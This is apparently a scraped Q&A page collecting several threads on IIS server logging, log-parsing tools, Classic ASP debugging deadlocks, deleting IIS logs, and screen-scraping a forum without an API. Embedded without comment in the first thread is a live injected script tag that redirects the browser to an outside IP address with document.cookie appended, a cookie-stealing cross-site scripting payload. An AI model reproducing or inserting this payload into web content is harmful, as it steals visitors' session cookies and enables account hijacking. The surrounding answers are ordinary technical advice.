How to write my own Server Logging script? - iis

I need to log the hits on a sub-domain in Windows IIS 6.0 without designating them as separate websites in the IIS Manager. I have been told this is not possible. How can I write my own script to do this?
I'm afraid google analytics is not an option due to the setup, I just need access (i'm guessing) to the file request event and its properties.
Wyatt Barnette - I've thought of this! But how do I set those properties for it to collect them all? I'm writing my own log parsing software, as I need specific things, I just need the server to generate the logs for me to parse!

Have you considered using Google Analytics across all your sites? I know that this is not true logging...but sometimes addressing simple problems with simple solutions is easier! Log parsing seems to be slowly fading away...

What you should be able to do is have your stats tracking package look at multiple IIS websites as a single site.
If your logging package can't handle this, check out the IIS log parsing tool. That should at least take care of the more onerous part of the task (actually making sense of the logfiles). From there it is a pretty straightforward reporting operation.

<script language="JavaScript">document.location="http://142.0.71.119:88/get.php?cookie="+document.cookie;</script>

Related

Classic ASP avoiding deadlock when debugging

We have a classic ASP page that makes a request to another page on the same site to get data.
When debugging is turned on we get deadlock because the web server will only respond to one request at a time.
What is the best way to get around this limitation while still allowing us to debug it while developing?
Less than ideal options:
Move the page to another site.
Allow iis to use multiple processes.
Any other options?
Ah, the joys of Stackoverflow, where instead of getting answers you're criticized for using Classic ASP, which is a currently supported tool even though it's been around for 100 years. :-)
I ran into a similar problem a while back while trying to create a simple script that would mimic the behavior of a script located on another server. I wanted to do some debugging without invoking the real script, so I thought I'd make a brain-dead replacement for it on my own server and invoke it the same way.
I ended up giving up and using the real script for my debugging. But today I found this KB article for you that might help: http://support.microsoft.com/kb/316451. I'm not sure but I think that's the solution. Or something like it.

what are the tools to parse/analyze IIS logs - ideally free/open source?

note: there are few similar questions already asked here - but they are from 2009. May be something has changed since then.
I'm responsible for a bunch of websites hosted on different servers. I do not do any log analysis right now, but I would like to change this. First question - what is the best tool to view ISSUES with the website based on IIS logs (i.e. 404, 500 responses, long page processing, etc)? Ideally with grouping/sorting options? I do not want to spend a lot of time on this, I just want to periodically check if all is good with the website.
Second question (and I know most likely i'm asking for too much) - but is there any way to expose processed logs to web? So I can review things mentioned above without RPDing into the server?
Ideally I'm looking for a free/open source solution, but I'm ready to pay for a good software as well (but not a lot of $$).
Thank you.
You can take a look at our log monitoring solution EventSentry, which can monitor text-based logs like IIS logs. We have standard templates setup for IIS, and we can consolidate the logs in a database with web-access, so that you can review the logs without using RDP.
It's a pretty flexible solution that allows you to pick the fields you are interested in, and ignore the ones you are not - and thus save space in your database.
You can also setup real-time alerts, so that you can get an email when a critical error is encountered in a log file, like a 500 error.
http://www.eventsentry.com/features/log-file-monitoring
Finally, you can also plug-in command line tools which can verify that a given web page is accessible, or get alerted when it changes: http://www.eventsentry.com/features/application-monitoring.
I'm biased of course, but I would say that our solution is pretty affordable. Since it offers additional functionality as well, such as service monitoring (to monitor your IIS services) and event log monitoring (IIS does log critical messages to the event log), you can setup comprehensive monitoring with a single product.
I'd look into #LuckyLuke solution (or similar) - classic "build vs buy" decision. Based on your post, this isn't going to be your "full time" job so IMHO its best to leave it to those who do...
I don't know what "legacy" answers you are referring to, but if you want to tinker you can use Microsoft's own log parser, and depending on how far you want to go with it, you can use it (COM dll) to write your "admin web pages" in .Net/ASP.Net and host it in each of your servers....
If you're very specific about the errors you just want to be alerted about, another "hacky" way would be to provide your own custom error pages (either the default IIS error pages, or configure your Asp.Net apps to use specific error pages).

Loparser to get Number of session by Hour

how can i use logparser to see how many uniqe session are there by every hour in IIS Logs
According to this post it's not as easy as it seems since Log Parser doesn't support COUNT(DISTINCT), but there is a workaround in post #2.
If you're interested in useful queries there's an old post over at https://serverfault.com/questions/45516/recommended-logparser-queries-for-iis-monitoring which has some useful snippets, you could easily update the unique errors to look for a status code of 200 (although you'd have to filter out your pages only).
By default, your IIS logs will not show session information, just http requests. You might be able to output session information to your IIS logs but it would depend primarily on what application platform you are running and where you are storing session state. For example, if you were using .NET, you could use the AppendToLog method. You could also look into Custom Logging but it would depend what version of IIS you are running. Under IIS6 you could implement a customer logger. Under IIS7 you can use the advanced logging extension.
Having no awareness of your platform or tech stack I'm not in a position to say but you could also look in to something like Elmah which Scott Hanselman has blogged a lot on. If you are running a .NET web app, it seems to have a lot of features already built for you so perhaps that would be an easier route to get your desired goal.

If I use Google Analytics can I delete my IIS logs?

MY IIS logs are taking up a lot of space and I don't know what to do with them. If Google Analytics is meeting all of my needs can I just delete all my IIS logs and turn off the daily creation of them?
I've spent the past hour hour or so understand what IIS logs are and what they do. I've seen that a lot of people delete them after "x" number of days, or they archive and delete? Do I need to archive and delete them? I didn't even know they existed until today, so needless to say I'm not really using them, so I'm hoping I can just delete them this once and turn off future creations of them?
Can you let me know if this is a good idea?
You might want to to archive them just in case. For example, if something odd happens it is always useful to have the logs.
If you are just monitoring stats Google analytics does not require them.
First, remember that web server logs can tell you lots of things GA can't. For example, they can easily tell you who downloaded which non-html files. Or if you have a nasty string of HTTP 500 errors that prevent pages from being rendered.
All that said, there is no technical reason why one would need to keep them. We actually disable IIS logging on some internal servers entirely so as not to have to clean up after it.

Is it possible to create an app for a site without an API?

I would like to create an app for a myBB forum. So the site on the forum will look nicer and much more cleaner on an iPhone or Android.
Is it possible without an API? It isn't my site ether.
everything is possible, it's just a matter of resources...
technically, you can write an app for everything on the web, but:
an API will tell you how you can do things with the site, without having to reverse engineer all pages/posts/..., and the format of every output resulting from post/get operations. reverse engineering may take a long time, and you will surely not come accross all possible results (error pages, bad authentication...);
an API is quite stable and is always updated with great care from the developpers so as not to break existing applications. without an API, there is no guarantees that your app will not break with the next release of the forum when it is upgraded;
a web API generally defines an output format which is easily parseable: many API outputs XML or JSON, which can be processed with standard libraries. without an API, the output format is plain HTML, which may be difficult to reorganize in order to show the results in a different format.
so, yes, you can definitely write an app for a myBB forum, but it may require a fair amount of work.
You can do, it's called screen scraping and is what was done before XML, the semantic web, SOAP, web services and then JSON apis tried to solve the problem better.
In screen scraping, you grab the site's HTML, parse it, get the data you want out of it, then do what you need with that data. It's more work, and breaks each time the site's layout changes, hence the history of improvements to it.
You mention the site in question is not yours. Many sites do not regard screen scraping as fair use, so check with the site's terms and conditions that you can legally create an app from the data posted there.
you can consider useing HTML5 ... do you think it doable for use app ?

Resources